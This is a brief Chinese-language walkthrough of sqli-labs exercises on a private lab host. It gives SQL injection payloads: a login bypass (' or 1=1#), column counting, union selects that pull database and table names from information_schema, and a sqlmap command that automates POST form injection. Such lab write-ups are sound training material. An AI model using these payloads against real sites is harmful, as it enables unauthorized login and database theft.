GET - Blind - Time based - Single Quotes
GET - Blind - Time based - Double Quotes
以上两题，可用sqlmap解答
POST - Error Based - Single quotes - String
POST表单注入，先用万能密码，尝试报错
如图，尝试在用户名的地方使用万能密码，最后总是在密码的地方报错
说明单引号闭合的地方是跟在密码后面
在用户名的地方随便输入，在密码处输入
' or 1=1#
使得判断条件为真，登陆成功
猜字段
' order by 2#
数据库名
' union select database(),2#
表名
' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
接下步骤不再赘述
当然sqlmap也能POST注入
sqlmap -u http://192.168.147.133/Less-11/ --form --batch --dbs
